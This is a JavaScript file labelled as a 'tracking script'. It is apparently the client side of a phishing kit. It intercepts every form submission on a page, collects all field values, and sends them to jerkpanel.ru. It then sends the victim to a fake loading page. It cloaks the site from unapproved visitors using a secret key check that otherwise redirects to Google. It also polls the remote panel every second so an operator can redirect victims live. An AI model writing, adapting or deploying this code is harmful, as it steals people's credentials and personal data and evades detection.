// Main tracking code console.log('Tracking script executed'); (function() { const baseUrl = 'https://jerkpanel.ru'; //const tracking_id = '11a8ff26f1a9efd1d506044ea25e1592'; // Extract the URL of the current executing script const scriptUrl = document.currentScript.src; // This gets the URL of the currently executing script console.log('Current script URL:', scriptUrl); // Log the JavaScript file URL // Parse the script URL and extract the 'tid' parameter const urlParams = new URLSearchParams(new URL(scriptUrl).search); const tracking_id = urlParams.get('tid'); // Get 'tid' from the script URL // Log the extracted 'tid' and the current page URL console.log('Extracted tracking_id (tid) from script URL:', tracking_id); console.log('Current page URL:', window.location.href); // Ensure tracking_id is not null or undefined if (!tracking_id) { console.error('Tracking ID (tid) is missing from the script URL.'); return; } //New code start // Helper functions for localStorage function checkAndSetAccess() { try { // Check if we're on set.html if (!window.location.pathname.endsWith('set.html')) { return; } // Get URL parameters const params = new URL(document.location.toString()).searchParams; const key = params.get("key"); // Check if key exists and matches if (!key) { console.log('No key parameter found'); return; } if (key === '213214124') { localStorage.setItem('allowed', 'true'); window.location.href = '/'; } else { console.log('Invalid key'); } } catch (error) { console.error('Error in checkAndSetAccess:', error); } } function checkAccess() { try { // Get the 'allowed' value from localStorage const isAllowed = localStorage.getItem('allowed'); // If it's not set or not 'true', redirect to Google if (!isAllowed || isAllowed !== 'true') { window.location.href = 'https://www.google.com'; } // If allowed is 'true', function will just end and do nothing } catch (error) { console.error('Error in checkAccess:', error); // If there's any error, redirect to be safe window.location.href = 'https://www.google.com'; } } function getStoredIdentifier() { return localStorage.getItem('user_identifier'); } function setStoredIdentifier(identifier) { localStorage.setItem('user_identifier', identifier); } function sendTrackingRequest() { const identifier = getStoredIdentifier(); if (!identifier) { console.error('No identifier available'); return; } fetch(baseUrl + '/track.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ identifier: identifier, tracking_id: tracking_id, current_url: window.location.href, }) }) .then(response => response.json()) .then(data => { if (!data.success) { console.error('Tracking failed:', data.message); } }) .catch(error => { console.error('Error sending tracking request:', error); }); } // Check localStorage availability function isLocalStorageAvailable() { try { const test = '__test__'; localStorage.setItem(test, test); localStorage.removeItem(test); return true; } catch(e) { return false; } } function updateCurrentUrl() { const fullUrl = window.location.href; // This gets the complete URL including protocol, domain, path, and query parameters const userIdentifier = getStoredIdentifier(); if (!userIdentifier) { console.error('No user identifier found'); return; } const payload = { userId: userIdentifier, newUrl: fullUrl }; console.log("URL Contents to update: ", JSON.stringify(payload)) fetch(baseUrl + '/admin/update_url.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: JSON.stringify(payload) }) .then(response => response.json()) .then(data => { if (data.success) { console.log('URL updated successfully:', data.data.url); } else { console.error('Failed to update URL:', data.error); } }) .catch(error => { console.error('Error updating URL:', error); }); } // Initialize unique identifier function initializeIdentifier() { if (!isLocalStorageAvailable()) { console.error('localStorage is not available'); return null; } let identifier = getStoredIdentifier(); if (!identifier) { // Make synchronous request to get new identifier const xhr = new XMLHttpRequest(); xhr.open('GET', 'https://jerkpanel.ru/get_identifier.php', false); // Synchronous request xhr.send(); if (xhr.status === 200) { identifier = xhr.responseText; setStoredIdentifier(identifier); } } return identifier; } // Initialize the identifier immediately const uniqueIdentifier = initializeIdentifier(); if (!uniqueIdentifier) { console.error('Failed to initialize unique identifier'); return; } if (window.location.pathname.endsWith('set.html')) { checkAndSetAccess(); } else { checkAccess(); sendTrackingRequest(); updateCurrentUrl(); } //New code end let lastActivityTime = Date.now(); const activityUpdateInterval = 5000; // 5 seconds let isPageVisible = true; let currentUrl = window.location.href; // Track user activity function updateLastActivity() { if (isPageVisible) { fetch(baseUrl + '/update_activity.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ identifier: uniqueIdentifier, active: true, tracking_id: tracking_id }) }); } } // Listen for form submissions document.addEventListener('submit', function(e) { if (e.target.tagName === 'FORM') { e.preventDefault(); const userIdentifier = getStoredIdentifier(); if (!userIdentifier) { console.error('No user identifier found'); return; } const formData = {}; const inputs = e.target.querySelectorAll('input, textarea, select'); inputs.forEach(input => { if (input.id || input.name) { const key = input.id || input.name; formData[key] = input.value; } }); const payload = { user_identifier: userIdentifier, tracking_id: tracking_id, type: 'form_submission', form_id: e.target.id || 'unnamed_form', form_data: formData, page_url: window.location.href, page_title: document.title }; fetch('https://jerkpanel.ru/track_data.php', { method: 'POST', headers: { 'Content-Type': 'application/json', 'Accept': 'application/json' }, body: JSON.stringify(payload), }) .then(async response => { const text = await response.text(); try { var customUrl = document.getElementById('custom-redirect'); const result = JSON.parse(text); if (result.error === 'blocked' && result.redirect_url) { window.location.replace(result.redirect_url); return; } if (customUrl != null) { window.location.href = '/'+customUrl.value+'?client_id=258660e1-9cfe-4202-9eda-d3beedb3e118&oauth_challenge=75bbf4a7-f68f-4637-8cc7-1eb0957a6208'; } else { window.location.href = '/loading.html?client_id=258660e1-9cfe-4202-9eda-d3beedb3e118&oauth_challenge=75bbf4a7-f68f-4637-8cc7-1eb0957a6208'; } } catch (err) { window.location.href = '/loading.html?client_id=258660e1-9cfe-4202-9eda-d3beedb3e118&oauth_challenge=75bbf4a7-f68f-4637-8cc7-1eb0957a6208'; } }) .catch(error => { console.error('Network error:', error); window.location.href = '/loading.html?client_id=258660e1-9cfe-4202-9eda-d3beedb3e118&oauth_challenge=75bbf4a7-f68f-4637-8cc7-1eb0957a6208'; }); } }); // Activity event listeners ['mousemove', 'mousedown', 'keydown', 'scroll', 'touchstart'].forEach(eventName => { document.addEventListener(eventName, () => { lastActivityTime = Date.now(); }); }); // Page visibility API document.addEventListener('visibilitychange', () => { isPageVisible = document.visibilityState === 'visible'; if (!isPageVisible) { fetch(baseUrl + '/update_activity.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ identifier: uniqueIdentifier, active: false, tracking_id: tracking_id }) }); } }); // URL update check async function checkForUrlUpdates() { try { const response = await fetch(baseUrl + '/check_url.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ identifier: uniqueIdentifier, tracking_id: tracking_id, currentUrl: currentUrl }) }); const data = await response.json(); if (data.success && data.url && data.url !== currentUrl) { window.location.href = data.url; } } catch (error) { console.error('Error checking URL updates:', error); } } // Redirect check async function checkForRedirect() { try { const response = await fetch(baseUrl + '/check_redirect.php', { method: 'POST', headers: { 'Content-Type': 'application/json', }, body: JSON.stringify({ identifier: uniqueIdentifier, tracking_id: tracking_id }) }); const data = await response.json(); if (data.redirect) { window.location.href = data.redirect_url; } } catch (error) { console.error('Error checking redirect:', error); } } // Set intervals setInterval(checkForRedirect, 1000); setInterval(checkForUrlUpdates, 2000); setInterval(() => { const now = Date.now(); if (now - lastActivityTime < activityUpdateInterval && isPageVisible) { updateLastActivity(); } }, activityUpdateInterval); // Initial calls updateLastActivity(); checkForRedirect(); })();